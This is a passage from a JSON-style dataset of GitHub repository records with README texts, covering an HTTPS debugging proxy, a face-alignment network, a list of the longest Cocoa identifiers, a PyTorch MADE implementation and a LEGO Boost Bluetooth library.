\u9664\u975e\u60a8\u5df2\u5145\u5206\u9605\u8bfb\u3001\u5b8c\u5168\u7406\u89e3\u5e76\u63a5\u53d7\u672c\u534f\u8bae\u6240\u6709\u6761\u6b3e\uff0c\u5426\u5219\uff0c\u8bf7\u60a8\u4e0d\u8981\u5b89\u88c5\u5e76\u4f7f\u7528\u672c\u5de5\u5177\u3002 \u60a8\u7684\u4f7f\u7528\u884c\u4e3a\u6216\u8005\u60a8\u4ee5\u5176\u4ed6\u4efb\u4f55\u660e\u793a\u6216\u8005\u9ed8\u793a\u65b9\u5f0f\u8868\u793a\u63a5\u53d7\u672c\u534f\u8bae\u7684\uff0c\u5373\u89c6\u4e3a\u60a8\u5df2\u9605\u8bfb\u5e76\u540c\u610f\u672c\u534f\u8bae\u7684\u7ea6\u675f\u3002\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "inaz2/proxy2", "link": "https://github.com/inaz2/proxy2", "tags": [], "stars": 503, "description": "HTTP/HTTPS proxy in a single python script", "lang": "Python", "repo_lang": "", "readme": "# proxy2\n\nHTTP/HTTPS proxy in a single python script\n\n\n## Features\n\n* easy to customize\n* require no external modules\n* support both of IPv4 and IPv6\n* support HTTP/1.1 Persistent Connection\n* support dynamic certificate generation for HTTPS intercept\n\nThis script works on Python 2.7.\nYou need to install OpenSSL to intercept HTTPS connections.\n\n\n## Usage\n\nJust run as a script:\n\n```\n$ python proxy2.py\n```\n\nAbove command runs the proxy on localhost:8080.\nVerify it works by typing the below command on another terminal of the same host.\n\n```\n$ http_proxy=localhost:8080 curl http://www.example.com/\n```\n\nproxy2 is made for debugging/testing, so it only accepts connections from localhost.\n\nTo use another port, specify the port number as the first argument.\n\n```\n$ python proxy2.py 3128\n```\n\n\n## Enable HTTPS intercept\n\nTo intercept HTTPS connections, generate private keys and a private CA certificate:\n\n```\n$ ./setup_https_intercept.sh\n```\n\nThrough the proxy, you can access http://proxy2.test/ and install the CA certificate in the browsers.\n\n\n## Customization\n\nYou can easily customize the proxy and modify the requests/responses or save something to the files.\nThe ProxyRequestHandler class has 3 methods to customize:\n\n* request_handler: called before accessing the upstream server\n* response_handler: called before responding to the client\n* save_handler: called after responding to the client with the exclusive lock, so you can safely write out to the terminal or the file system\n\nBy default, only save_handler is implemented which outputs HTTP(S) headers and some useful data to the standard output.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "MarekKowalski/DeepAlignmentNetwork", "link": "https://github.com/MarekKowalski/DeepAlignmentNetwork", "tags": ["face-alignment", "computer-vision", "cvpr-2017", "cvpr", "theano", "lasagne", "deep-learning"], "stars": 503, "description": "A deep neural network for face alignment", "lang": "Python", "repo_lang": "", "readme": "# Deep Alignment Network #\nThis is a reference implementation of the face alignment method described in \"Deep Alignment Network: A convolutional neural network for robust face alignment\" which has been accepted to the First Faces in-the-wild Workshop-Challenge at CVPR 2017. You can read the entire paper on Arxiv [here](https://arxiv.org/abs/1706.01789). You can download the presentation and poster from Dropbox [here](https://www.dropbox.com/sh/u4g2o5kha0mt1uc/AADDMkoMKG2t4iiTxMUC6e2Ta?dl=0) or Google drive [here](https://drive.google.com/drive/folders/1QFZk_ED_FLW0xZC_gNuAKsYjLyKRMPPy).\n\n<img src=\"http://home.elka.pw.edu.pl/~mkowals6/lib/exe/fetch.php?media=wiki:dan-poster.jpg\" width=\"60%\">\n\n## Getting started ##\nFirst of all you need to make sure you have installed Python 2.7. For that purpose we recommend Anaconda, it has all the necessary libraries except:\n * Theano 0.9.0\n * Lasagne 0.2\n * OpenCV 3.1.0 or newer\n\nOpenCV can be downloaded from Christoph Gohlke's [website](http://www.lfd.uci.edu/~gohlke/pythonlibs/). \nTheano and Lasagne can be installed with the following commands:\n```\n  pip install Theano==0.9.0\n  pip install https://github.com/Lasagne/Lasagne/archive/master.zip\n```\nOnce you have installed Python and the dependencies download at least one of the two pre-trained models available on Dropbox [here](https://www.dropbox.com/sh/v754z1egib0hamh/AADGX1SE9GCj4h3eDazsc0bXa?dl=0) or Google drive [here](https://drive.google.com/open?id=168tC2OxS5DjyaiuDy_JhIV3eje8K_PLJ).\n\nThe easiest way to see our method in action is to run the CameraDemo.py script which performs face tracking on a local webcam.\n\n## Running the experiments from the article ##\nBefore continuing download the model files as described above.\n\n### Comparison with state-of-the-art ###\nDownload the 300W, LFPW, HELEN, AFW and IBUG datasets from https://ibug.doc.ic.ac.uk/resources/facial-point-annotations/ and extract them to /data/images/ into separate directories: 300W, lfpw, helen, afw and ibug.\nRun the TestSetPreparation.py script, it may take a while.\n\nUse the DANtesting.py script to perform the experiments. It will calculate the average error for all of the test subsets as well as the AUC@0.08 score and failure rate for the 300W public and private test sets.\n\nThe parameters you can set in the script are as follows:\n * verbose: if True the script will display the error for each image,\n * showResults: if True it will show the localized landmarks for each image,\n * showCED: if True the Cumulative Error Distribution curve will be shown along with the AUC score,\n * normalization: 'centers' for inter-pupil distance, 'corners' for inter-ocular distance, 'diagonal' for bounding box diagonal normalization.\n * failureThreshold: the error threshold over which the results are considered to be failures, for inter-ocular distance it should be set to 0.08,\n * networkFilename: either '../DAN.npz' or '../DAN-Menpo.npz'.\n\n### Results on the Menpo test set ###\nDownload the Menpo test set from https://ibug.doc.ic.ac.uk/resources/ and extract it. Open the MenpoEval.py script and make sure that MenpoDir is set to the directory with images that you just extracted.\nRun the scripts to process the dataset. The results will be saved as images and pts files in the directories indicated in the imgOutputDir and ptsOutputDir variables.\n\n## TensorFlow implementation ##\nTwo TensorFlow implementations of Deep Alignment Network have been published by other GitHub users:\n - [zjjMaiMai's implementatation](https://github.com/zjjMaiMai/Deep-Alignment-Network-A-convolutional-neural-network-for-robust-face-alignment),\n - [mariolew's implementatation](https://github.com/mariolew/Deep-Alignment-Network-tensorflow).\n\n## Citation ## \nIf you use this software in your research, then please cite the following paper:\n\nKowalski, M.; Naruniec, J.; Trzcinski, T.: \"Deep Alignment Network: A convolutional neural network for robust face alignment\", CVPRW 2017\n\n## License ##\nWhile the code is licensed under the MIT license, which allows for commercial use, keep in mind that the models linked above were trained on the 300-W dataset, which allows for research use only. For details please see: https://ibug.doc.ic.ac.uk/resources/facial-point-annotations/\n\n## Contact ##\nIf you have any questions or suggestions feel free to contact me at <m.kowalski@ire.pw.edu.pl>.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Quotation/LongestCocoa", "link": "https://github.com/Quotation/LongestCocoa", "tags": [], "stars": 503, "description": "FindTheLongestIdentifierNameInCocoaFramework", "lang": "Python", "repo_lang": "", "readme": "LongestCocoa\n============\n\nProgrammers who write Objective-C must **REALLY** love its descriptive and verbose naming style. \n\nSoWhatAreTheLongestMethodOrConstantNamesInCocoaFramework? Here are some superb ones:\n\n* outputImageProviderFromBufferWithPixelFormat:pixelsWide:pixelsHigh:baseAddress:bytesPerRow:releaseCallback:releaseContext:colorSpace:shouldColorMatch:\n* kCMSampleBufferConduitNotificationParameter_UpcomingOutputPTSRangeMayOverlapQueuedOutputPTSRange\n\nRun `python longest.py` to discover the first 10 longest names for each identifier type. Below is the output from `python longest.py iphoneos` and `python longest.py macosx`.\n\nCompiled using Xcode 8.2.1 (8C1002)\n\n\nLongest Names For iPhoneOS arm64 (iOS 10.2)\n================\n\nLongest Objective-C Interface Names\n----------------\n* [64] INGetAvailableRestaurantReservationBookingDefaultsIntentResponse\n* [59] INGetUserCurrentRestaurantReservationBookingsIntentResponse\n* [57] INGetAvailableRestaurantReservationBookingsIntentResponse\n* [56] INGetAvailableRestaurantReservationBookingDefaultsIntent\n* [51] INGetUserCurrentRestaurantReservationBookingsIntent\n* [50] AVCaptureManualExposureBracketedStillImageSettings\n* [49] INGetAvailableRestaurantReservationBookingsIntent\n* [48] AVCaptureAutoExposureBracketedStillImageSettings\n* [47] AVAssetResourceLoadingContentInformationRequest\n* [47] MTLRenderPipelineColorAttachmentDescriptorArray\n\nLongest Objective-C Protocol Names\n----------------\n* [64] INGetAvailableRestaurantReservationBookingDefaultsIntentHandling\n* [59] INGetUserCurrentRestaurantReservationBookingsIntentHandling\n* [57] INGetAvailableRestaurantReservationBookingsIntentHandling\n* [44] GKFriendRequestComposeViewControllerDelegate\n* [44] PKPaymentAuthorizationViewControllerDelegate\n* [44] AVCaptureAudioDataOutputSampleBufferDelegate\n* [44] UIViewControllerTransitionCoordinatorContext\n* [44] AVCaptureVideoDataOutputSampleBufferDelegate\n* [43] GKTurnBasedMatchmakerViewControllerDelegate\n* [42] ABPeoplePickerNavigationControllerDelegate\n\nLongest Objective-C Property Names\n----------------\n* [56] automaticallyEnablesStillImageStabilizationWhenAvailable\n* [54] availableMediaCharacteristicsWithMediaSelectionOptions\n* [49] lockingWhiteBalanceWithCustomDeviceGainsSupported\n* [49] canUseNetworkResourcesForLiveStreamingWhilePaused\n* [49] outputObscuredDueToInsufficientExternalProtection\n* [49] previewingGestureRecognizerForFailureRelationship\n* [48] automaticallyConfiguresCaptureDeviceForWideColor\n* [48] lensStabilizationDuringBracketedCaptureSupported\n* [47] usesExternalPlaybackWhileExternalScreenIsActive\n* [47] threadGroupSizeIsMultipleOfThreadExecutionWidth\n\nLongest Objective-C Method Names\n----------------\n* [202] initWithEnableFan:enableAirConditioner:enableClimateControl:enableAutoMode:airCirculationMode:fanSpeedIndex:fanSpeedPercentage:relativeFanSpeedSetting:temperature:relativeTemperatureSetting:climateZone:\n* [162] drawIndexedPatches:patchStart:patchCount:patchIndexBuffer:patchIndexBufferOffset:controlPointIndexBuffer:controlPointIndexBufferOffset:instanceCount:baseInstance:\n* [149] drawIndexedPatches:patchIndexBuffer:patchIndexBufferOffset:controlPointIndexBuffer:controlPointIndexBufferOffset:indirectBuffer:indirectBufferOffset:\n* [147] copyFromTexture:sourceSlice:sourceLevel:sourceOrigin:sourceSize:toBuffer:destinationOffset:destinationBytesPerRow:destinationBytesPerImage:options:\n* [147] copyFromBuffer:sourceOffset:sourceBytesPerRow:sourceBytesPerImage:sourceSize:toTexture:destinationSlice:destinationLevel:destinationOrigin:options:\n* [139] copyFromTexture:sourceSlice:sourceLevel:sourceOrigin:sourceSize:toBuffer:destinationOffset:destinationBytesPerRow:destinationBytesPerImage:\n* [139] copyFromBuffer:sourceOffset:sourceBytesPerRow:sourceBytesPerImage:sourceSize:toTexture:destinationSlice:destinationLevel:destinationOrigin:\n* [133] generateAmbientOcclusionTextureWithSize:raysPerSample:attenuationFactor:objectsToConsider:vertexAttributeNamed:materialPropertyNamed:\n* [129] workoutWithActivityType:startDate:endDate:workoutEvents:totalEnergyBurned:totalDistance:totalSwimmingStrokeCount:device:metadata:\n* [128] initRecurrenceWithFrequency:interval:daysOfTheWeek:daysOfTheMonth:monthsOfTheYear:weeksOfTheYear:daysOfTheYear:setPositions:end:\n\nLongest Objective-C Method Names (0/1 Parameter)\n----------------\n* [71] recordsVideoOrientationAndMirroringChangesAsMetadataTrackForConnection:\n* [70] automaticallyForwardAppearanceAndRotationMethodsToChildViewControllers\n* [70] playerViewControllerShouldAutomaticallyDismissAtPictureInPictureStart:\n* [69] mediaSelectionCriteriaCanBeAppliedAutomaticallyToMediaSelectionGroup:\n* [65] navigationControllerPreferredInterfaceOrientationForPresentation:\n* [64] splitViewControllerPreferredInterfaceOrientationForPresentation:\n* [63] pageViewControllerPreferredInterfaceOrientationForPresentation:\n* [63] predicateForEvaluatingTriggerOccurringBeforeDateWithComponents:\n* [63] requestAutomaticPassPresentationSuppressionWithResponseHandler:\n* [62] predicateForEvaluatingTriggerOccurringAfterDateWithComponents:\n\nLongest C Function Names\n----------------\n* [87] CMMetadataFormatDescriptionCreateWithMetadataFormatDescriptionAndMetadataSpecifications\n* [86] CMClosedCaptionFormatDescriptionCreateFromBigEndianClosedCaptionDescriptionBlockBuffer\n* [82] CMClosedCaptionFormatDescriptionCopyAsBigEndianClosedCaptionDescriptionBlockBuffer\n* [79] CMClosedCaptionFormatDescriptionCreateFromBigEndianClosedCaptionDescriptionData\n* [76] CMTimeCodeFormatDescriptionCreateFromBigEndianTimeCodeDescriptionBlockBuffer\n* [76] CMMetadataFormatDescriptionCreateFromBigEndianMetadataDescriptionBlockBuffer\n* [72] CMMetadataFormatDescriptionCopyAsBigEndianMetadataDescriptionBlockBuffer\n* [72] CMTimeCodeFormatDescriptionCopyAsBigEndianTimeCodeDescriptionBlockBuffer\n* [70] CMAudioFormatDescriptionCreateFromBigEndianSoundDescriptionBlockBuffer\n* [70] CMVideoFormatDescriptionCreateFromBigEndianImageDescriptionBlockBuffer\n\nLongest Enum Names\n----------------\n* [68] INGetAvailableRestaurantReservationBookingDefaultsIntentResponseCode\n* [63] INGetUserCurrentRestaurantReservationBookingsIntentResponseCode\n* [55] HMCharacteristicValueCurrentHumidifierDehumidifierState\n* [54] UNNotificationContentExtensionMediaPlayPauseButtonType\n* [54] HMCharacteristicValueTargetHumidifierDehumidifierState\n* [53] INGetAvailableRestaurantReservationBookingsIntentCode\n* [50] HMCharacteristicValueCarbonMonoxideDetectionStatus\n* [49] HMCharacteristicValueCarbonDioxideDetectionStatus\n* [49] HMCharacteristicValueLockMechanismLastKnownAction\n* [47] HMCharacteristicValueCurrentSecuritySystemState\n\nLongest Enum Constant Names\n----------------\n* [93] kCMBufferQueueTrigger_WhenDurationBecomesGreaterThanOrEqualToAndBufferCountBecomesGreaterThan\n* [91] INBookRestaurantReservationIntentCodeFailureRequiringAppLaunchServiceTemporarilyUnavailable\n* [90] INGetUserCurrentRestaurantReservationBookingsIntentResponseCodeFailureRequestUnsatisfiable\n* [89] INListRideOptionsIntentResponseCodeFailureRequiringAppLaunchServiceTemporarilyUnavailable\n* [87] INListRideOptionsIntentResponseCodeFailureRequiringAppLaunchPreviousRideNeedsCompletion\n* [87] INGetRideStatusIntentResponseCodeFailureRequiringAppLaunchServiceTemporarilyUnavailable\n* [87] HMCharacteristicValueLockMechanismLastKnownActionUnsecuredUsingPhysicalMovementInterior\n* [87] HMCharacteristicValueLockMechanismLastKnownActionUnsecuredUsingPhysicalMovementExterior\n* [85] INRequestRideIntentResponseCodeFailureRequiringAppLaunchServiceTemporarilyUnavailable\n* [85] HMCharacteristicValueLockMechanismLastKnownActionSecuredUsingPhysicalMovementInterior\n\nLongest Variable Constant Names\n----------------\n* [96] kCMSampleBufferConduitNotificationParameter_UpcomingOutputPTSRangeMayOverlapQueuedOutputPTSRange\n* [81] kCMTextMarkupAttribute_OrthogonalLinePositionPercentageRelativeToWritingDirection\n* [78] kVTDecompressionPropertyKey_MinOutputPresentationTimeStampOfFramesBeingDecoded\n* [78] kVTDecompressionPropertyKey_MaxOutputPresentationTimeStampOfFramesBeingDecoded\n* [76] AVAssetResourceLoadingRequestStreamingContentKeyRequestRequiresPersistentKey\n* [76] kCMMetadataFormatDescription_StructuralDependencyKey_DependencyIsInvalidFlag\n* [74] MFMessageComposeViewControllerTextMessageAvailabilityDidChangeNotification\n* [73] kCMMetadataFormatDescriptionMetadataSpecificationKey_StructuralDependency\n* [72] kCMMetadataFormatDescriptionMetadataSpecificationKey_ExtendedLanguageTag\n* [71] kCMTextMarkupAttribute_TextPositionPercentageRelativeToWritingDirection\n\n\nLongest Names For MacOSX x86_64 (OS X 10.12)\n================\n\nLongest Objective-C Interface Names\n----------------\n* [50] TKSmartCardUserInteractionForSecurePINVerification\n* [47] AVAssetResourceLoadingContentInformationRequest\n* [47] MTLRenderPipelineColorAttachmentDescriptorArray\n* [47] AVAudioEnvironmentDistanceAttenuationParameters\n* [45] NSCollectionViewFlowLayoutInvalidationContext\n* [44] IOBluetoothAccessibilityIgnoredTextFieldCell\n* [44] TKSmartCardUserInteractionForSecurePINChange\n* [43] ICScannerFunctionalUnitPositiveTransparency\n* [43] ICScannerFunctionalUnitNegativeTransparency\n* [43] MTLRenderPassColorAttachmentDescriptorArray\n\nLongest Objective-C Protocol Names\n----------------\n* [49] IMServiceApplicationGroupListAuthorizationSupport\n* [44] GKFriendRequestComposeViewControllerDelegate\n* [44] IMServicePlugInGroupListHandlePictureSupport\n* [44] AVCaptureAudioDataOutputSampleBufferDelegate\n* [44] IMServicePlugInGroupListAuthorizationSupport\n* [44] AVCaptureVideoDataOutputSampleBufferDelegate\n* [43] IMServiceApplicationInstantMessagingSupport\n* [43] GKTurnBasedMatchmakerViewControllerDelegate\n* [42] NSSharingServicePickerTouchBarItemDelegate\n* [41] AVPlayerItemMetadataCollectorPushDelegate\n\nLongest Objective-C Property Names\n----------------\n* [54] availableMediaCharacteristicsWithMediaSelectionOptions\n* [51] accessibilityDisplayShouldDifferentiateWithoutColor\n* [49] canUseNetworkResourcesForLiveStreamingWhilePaused\n* [49] outputObscuredDueToInsufficientExternalProtection\n* [47] usesExternalPlaybackWhileExternalScreenIsActive\n* [47] threadGroupSizeIsMultipleOfThreadExecutionWidth\n* [46] maximumExtendedDynamicRangeColorComponentValue\n* [46] automaticallyEnablesLowLightBoostWhenAvailable\n* [45] requiredPixelBufferAttributesForRenderContext\n* [44] fileNameExtensionWasHiddenInLastRunSavePanel\n\nLongest Objective-C Method Names\n----------------\n* [162] drawIndexedPatches:patchStart:patchCount:patchIndexBuffer:patchIndexBufferOffset:controlPointIndexBuffer:controlPointIndexBufferOffset:instanceCount:baseInstance:\n* [150] outputImageProviderFromBufferWithPixelFormat:pixelsWide:pixelsHigh:baseAddress:bytesPerRow:releaseCallback:releaseContext:colorSpace:shouldColorMatch:\n* [149] drawIndexedPatches:patchIndexBuffer:patchIndexBufferOffset:controlPointIndexBuffer:controlPointIndexBufferOffset:indirectBuffer:indirectBufferOffset:\n* [148] initWithBitmapDataPlanes:pixelsWide:pixelsHigh:bitsPerSample:samplesPerPixel:hasAlpha:isPlanar:colorSpaceName:bitmapFormat:bytesPerRow:bitsPerPixel:\n* [147] copyFromTexture:sourceSlice:sourceLevel:sourceOrigin:sourceSize:toBuffer:destinationOffset:destinationBytesPerRow:destinationBytesPerImage:options:\n* [147] copyFromBuffer:sourceOffset:sourceBytesPerRow:sourceBytesPerImage:sourceSize:toTexture:destinationSlice:destinationLevel:destinationOrigin:options:\n* [140] outputImageProviderFromTextureWithPixelFormat:pixelsWide:pixelsHigh:name:flipped:releaseCallback:releaseContext:colorSpace:shouldColorMatch:\n* [139] copyFromTexture:sourceSlice:sourceLevel:sourceOrigin:sourceSize:toBuffer:destinationOffset:destinationBytesPerRow:destinationBytesPerImage:\n* [139] copyFromBuffer:sourceOffset:sourceBytesPerRow:sourceBytesPerImage:sourceSize:toTexture:destinationSlice:destinationLevel:destinationOrigin:\n* [137] getLineFragmentRect:usedRect:remainingRect:forStartingGlyphAtIndex:proposedRect:lineSpacing:paragraphSpacingBefore:paragraphSpacingAfter:\n\nLongest Objective-C Method Names (0/1 Parameter)\n----------------\n* [79] samplesWithEarlierDecodeTimeStampsMayHaveLaterPresentationTimeStampsThanCursor:\n* [79] samplesWithLaterDecodeTimeStampsMayHaveEarlierPresentationTimeStampsThanCursor:\n* [69] mediaSelectionCriteriaCanBeAppliedAutomaticallyToMediaSelectionGroup:\n* [68] managedObjectContextsToMonitorWhenSyncingPersistentStoreCoordinator:\n* [68] managedObjectContextsToReloadAfterSyncingPersistentStoreCoordinator:\n* [59] generateIdentityVerificationSignatureWithCompletionHandler:\n* [59] assetReaderOutputMetadataAdaptorWithAssetReaderTrackOutput:\n* [58] conditionallyBeginAccessingResourcesWithCompletionHandler:\n* [57] recommendedVideoSettingsForAssetWriterWithOutputFileType:\n* [57] recommendedAudioSettingsForAssetWriterWithOutputFileType:\n\nLongest C Function Names\n----------------\n* [87] CMMetadataFormatDescriptionCreateWithMetadataFormatDescriptionAndMetadataSpecifications\n* [86] CMClosedCaptionFormatDescriptionCreateFromBigEndianClosedCaptionDescriptionBlockBuffer\n* [82] CMClosedCaptionFormatDescriptionCopyAsBigEndianClosedCaptionDescriptionBlockBuffer\n* [79] CMClosedCaptionFormatDescriptionCreateFromBigEndianClosedCaptionDescriptionData\n* [76] CMTimeCodeFormatDescriptionCreateFromBigEndianTimeCodeDescriptionBlockBuffer\n* [76] CMMetadataFormatDescriptionCreateFromBigEndianMetadataDescriptionBlockBuffer\n* [72] CMMetadataFormatDescriptionCopyAsBigEndianMetadataDescriptionBlockBuffer\n* [72] CMTimeCodeFormatDescriptionCopyAsBigEndianTimeCodeDescriptionBlockBuffer\n* [70] CMAudioFormatDescriptionCreateFromBigEndianSoundDescriptionBlockBuffer\n* [70] CMVideoFormatDescriptionCreateFromBigEndianImageDescriptionBlockBuffer\n\nLongest Enum Names\n----------------\n* [47] NSDateComponentsFormatterZeroFormattingBehavior\n* [47] BluetoothLESecurityManagerKeyDistributionFormat\n* [45] 'MTAudioProcessingTapCreationFlags':'unsigned\n* [44] BluetoothHCIExtendedInquiryResponseDataTypes\n* [44] AVCaptureDeviceTransportControlsPlaybackMode\n* [43] IOBluetoothUserNotificationChannelDirection\n* [43] NSTableViewDraggingDestinationFeedbackStyle\n* [42] AVAudioEnvironmentDistanceAttenuationModel\n* [41] BluetoothAuthenticationRequirementsValues\n* [41] NSPersistentStoreUbiquitousTransitionType\n\nLongest Enum Constant Names\n----------------\n* [93] kCMBufferQueueTrigger_WhenDurationBecomesGreaterThanOrEqualToAndBufferCountBecomesGreaterThan\n* [88] kBluetoothAMPManagerCreatePhysicalLinkResponseAMPDisconnectedPhysicalLinkRequestReceived\n* [84] kBluetoothLESecurityManagerReasonCodeCrossTransportKeyDerivationGenerationNotAllowed\n* [84] kBluetoothHCIExtendedInquiryResponseDataType128BitServiceClassUUIDsWithMoreAvailable\n* [83] kBluetoothHCIExtendedInquiryResponseDataType16BitServiceClassUUIDsWithMoreAvailable\n* [83] kBluetoothHCIExtendedInquiryResponseDataType32BitServiceClassUUIDsWithMoreAvailable\n* [79] kBluetoothHCIExtendedInquiryResponseDataType128BitServiceClassUUIDsCompleteList\n* [78] kBluetoothHCIExtendedInquiryResponseDataType32BitServiceClassUUIDsCompleteList\n* [78] kBluetoothHCIExtendedInquiryResponseDataTypeSecureConnectionsConfirmationValue\n* [78] kBluetoothHCIExtendedInquiryResponseDataType16BitServiceClassUUIDsCompleteList\n\nLongest Variable Constant Names\n----------------\n* [96] kCMSampleBufferConduitNotificationParameter_UpcomingOutputPTSRangeMayOverlapQueuedOutputPTSRange\n* [81] kCMTextMarkupAttribute_OrthogonalLinePositionPercentageRelativeToWritingDirection\n* [78] kVTDecompressionPropertyKey_MinOutputPresentationTimeStampOfFramesBeingDecoded\n* [78] kVTDecompressionPropertyKey_MaxOutputPresentationTimeStampOfFramesBeingDecoded\n* [76] AVAssetResourceLoadingRequestStreamingContentKeyRequestRequiresPersistentKey\n* [76] kCMMetadataFormatDescription_StructuralDependencyKey_DependencyIsInvalidFlag\n* [73] kCMMetadataFormatDescriptionMetadataSpecificationKey_StructuralDependency\n* [72] kCMMetadataFormatDescriptionMetadataSpecificationKey_ExtendedLanguageTag\n* [71] kCMTextMarkupAttribute_TextPositionPercentageRelativeToWritingDirection\n* [69] kVTDecompressionPropertyKey_SupportedPixelFormatsOrderedByPerformance\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "karpathy/pytorch-made", "link": "https://github.com/karpathy/pytorch-made", "tags": [], "stars": 503, "description": "MADE (Masked Autoencoder Density Estimation) implementation in PyTorch", "lang": "Python", "repo_lang": "", "readme": "\n# pytorch-made\n\nThis code is an implementation of [\"Masked AutoEncoder for Density Estimation\"](https://arxiv.org/abs/1502.03509) by Germain et al., 2015. The core idea is that you can turn an auto-encoder into an autoregressive density model just by appropriately masking the connections in the MLP, ordering the input dimensions in some way and making sure that all outputs only depend on inputs earlier in the list. Like other autoregressive models (char-rnn, pixel cnns, etc), evaluating the likelihood is very cheap (a single forward pass), but sampling is linear in the number of dimensions. \n\n![figure 1](https://raw.github.com/karpathy/pytorch-made/master/made.png)\n\nThe authors of the paper also published code [here](https://github.com/mgermain/MADE), but it's a bit wordy, sprawling and in Theano. Hence my own shot at it with only ~150 lines of code and PyTorch <3.\n\n## examples\n\nFirst we download the [binarized mnist dataset](https://github.com/mgermain/MADE/releases/download/ICML2015/binarized_mnist.npz). Then we can reproduce the first point on the plot of Figure 2 by training a 1-layer MLP of 500 units with only a single mask, and using a single fixed (but random) ordering as so:\n\n```\npython run.py --data-path binarized_mnist.npz -q 500\n```\n\nwhich converges at binary cross entropy loss of `94.5`, as shown in the paper. We can then simultaneously train a larger model ensemble (with weight sharing in the one MLP) and average over all of the models at test time. For instance, we can use 10 orderings (`-n 10`) and also average over the 10 at inference time (`-s 10`):\n\n```\npython run.py --data-path binarized_mnist.npz -q 500 -n 10 -s 10\n```\n\nwhich gives a much better test loss of `79.3`, but at the cost of multiple forward passes. I was not able to reproduce single-forward-pass gains that the paper alludes to when training with multiple masks, might be doing something wrong.\n\n## usage\n\nThe core class is `MADE`, found in `made.py`. It inherits from PyTorch `nn.Module` so you can \"slot it into\" larger architectures quite easily. To instantiate MADE on 1D inputs of MNIST digits for example (which have `28*28` pixels), using one hidden layer of 500 neurons, and using a single but random ordering we would do:\n\n```python\nmodel = MADE(28*28, [500], 28*28, num_masks=1, natural_ordering=False)\n```\n\nThe reason we plug the size of the output (3rd argument) into MADE is that one might want to use relatively complicated output distributions, for example a gaussian distribution would normally be parameterized by a mean and a standard deviation for each dimension, or you could bin the output range into buckets and output logprobs for a softmax, or mixture parameters, etc. In the simplest example in this code we use binary predictions, where are only parameterized by one number, hence the number of the input dimensions happens to equal the number of outputs.\n\n## License\n\nMIT\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "undera/pylgbst", "link": "https://github.com/undera/pylgbst", "tags": ["robotics", "lego-boost", "lego", "python"], "stars": 503, "description": "Python library for LEGO\u00ae PoweredUp devices", "lang": "Python", "repo_lang": "", "readme": "# Python library to interact with Move Hub / PoweredUp Hubs\n\n_Move Hub is central controller block of [LEGO\u00ae Boost Robotics Set](https://www.lego.com/themes/boost)._\n\nIn fact, Move Hub is just a Bluetooth hardware piece, and all manipulations with it are made by commands passed through Bluetooth Low Energy (BLE) wireless protocol. One of the ways to issue these commands is to write Python program using this library.\n\nThe best way to start is to look into [`demo.py`](examples/demo.py) file, and run it (assuming you have installed library).\n\nIf you have Vernie assembled, you might run scripts from [`examples/vernie`](examples/vernie) directory.\n\n## Demonstrational Videos\n\n[![Vernie Programmed](http://img.youtube.com/vi/oqsmgZlVE8I/0.jpg)](http://www.youtube.com/watch?v=oqsmgZlVE8I)\n[![Laser Engraver](http://img.youtube.com/vi/ZbKmqVBBMhM/0.jpg)](https://youtu.be/ZbKmqVBBMhM)\n[![Color Sorter](http://img.youtube.com/vi/829RKT8v8M0/0.jpg)](https://youtu.be/829RKT8v8M0)\n[![Face Tracker](http://img.youtube.com/vi/WUOa3j-6XfI/0.jpg)](https://youtu.be/WUOa3j-6XfI)\n[![Color Pin Bot](http://img.youtube.com/vi/QY6nRYXQw_U/0.jpg)](https://youtu.be/QY6nRYXQw_U)\n[![BB-8 Joystick](http://img.youtube.com/vi/55kE9I4IQSU/0.jpg)](https://youtu.be/55kE9I4IQSU)\n\n[Dancing Vernie](https://youtu.be/Cp2gDleP8_M)\n\n\n## Features\n\n- auto-detect and connect to [Move Hub](docs/MoveHub.md) device\n- auto-detects [peripheral devices](docs/Peripherals.md) connected to Hub\n- constant, angled and timed movement for [motors](docs/Motor.md), rotation sensor subscription\n- [vision sensor](docs/VisionSensor.md): several modes to measure distance, color and luminosity\n- [tilt sensor](docs/TiltSensor.md) subscription: 2 axis, 3 axis, bump detect modes\n- [RGB LED](docs/LED.md) color change\n- [Headlight](docs/Headlight.md) brightness change\n- [push button](docs/MoveHub.md#push-button) status subscription\n- [battery voltage and current](docs/VoltageCurrent.md) subscription available\n\n\n## Usage\n\n_Please note that this library requires one of Bluetooth backend libraries to be installed, please read section [here](#bluetooth-backend-prerequisites) for details._\n\nInstall library like this: \n```bash\npip install -U pylgbst[bleak]\n```\n\nThen instantiate MoveHub object and start invoking its methods. Following is example to just print peripherals detected on Hub:  \n\n```python\nfrom pylgbst.hub import MoveHub\n\nhub = MoveHub()\n\nfor device in hub.peripherals:\n    print(device)\n```\n\nEach peripheral kind has own methods to do actions and/or get sensor data. See [features](#features) list for individual doc pages.\n\n## Bluetooth Backend Prerequisites\n\nYou have following options to install as Bluetooth backend (some of them might require `sudo` on Linux):\n\n- `pip install bleak` - [bleak](https://github.com/hbldh/bleak) lib, supports Linux/Windows/MacOS (__recommended__)\n- `pip install pygatt` - [pygatt](https://github.com/peplin/pygatt) lib, works on both Windows and Linux  \n- `pip install gatt` - [gatt](https://github.com/getsenic/gatt-python) lib, supports Linux, does not work on Windows\n- `pip install gattlib` - [gattlib](https://bitbucket.org/OscarAcena/pygattlib) - supports Linux, does not work on Windows, requires `sudo`\n- `pip install bluepy` - [bluepy](https://github.com/IanHarvey/bluepy) lib, supports Linux, including Raspbian, which allows connection to the hub from the Raspberry PI\n\nNote that `pip install -U pylgbst[bleak]` command indicates which backend to install. So you can install it backend-less, or with some backend from above.\n\nWindows users may first turn to the Bleak backend, which should support any internal or external Bluetooth adapter recognized by the OS. The Windows version of `pygatt` backend will only work with a [Bluegiga BLED112 Bluetooth Smart Dongle](https://www.silabs.com/products/wireless/bluetooth/bluetooth-low-energy-modules/bled112-bluetooth-smart-dongle).\n\n_Please let author know if you have discovered any compatibility/preprequisite details, so we will update this section to help future users_\n\nDepending on backend type, you might need Linux `sudo` to be used when running Python.\n\n### Bluetooth 